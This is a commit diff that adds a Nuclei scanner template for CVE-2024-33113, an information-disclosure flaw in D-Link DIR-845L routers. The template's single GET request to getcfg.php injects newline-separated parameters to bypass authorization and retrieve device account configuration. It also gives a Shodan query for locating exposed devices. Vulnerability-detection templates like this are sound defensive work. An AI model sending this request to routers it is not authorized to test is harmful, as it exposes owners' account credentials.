Merge pull request #10197 from projectdiscovery/pussycat0x-patch-7

Create CVE-2024-33113.yaml

http/cves/2024/CVE-2024-33113.yaml

@@ -0,0 +1,37 @@
+id: CVE-2024-33113
+
+info:
+  name: D-LINK DIR-845L bsc_sms_inbox.php file - Information Disclosure
+  author: pussycat0x
+  severity: medium
+  description: |
+    D-LINK DIR-845L <=v1.01KRb03 is vulnerable to Information disclosurey via bsc_sms_inbox.php.
+  reference:
+    - https://github.com/FaLLenSKiLL1/CVE-2024-33113
+    - https://github.com/yj94/Yj_learning/blob/main/Week16/D-LINK-POC.md
+  classification:
+    epss-score: 0.00043
+    epss-percentile: 0.0866
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: "DIR-845L"
+  tags: cve,cve2024,dlink,info-leak
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/getcfg.php?a=%0A_POST_SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "<service>DEVICE.ACCOUNT</service>"
+          - "<seqno>"
+        condition: and
+
+      - type: status
+        status:
+          - 200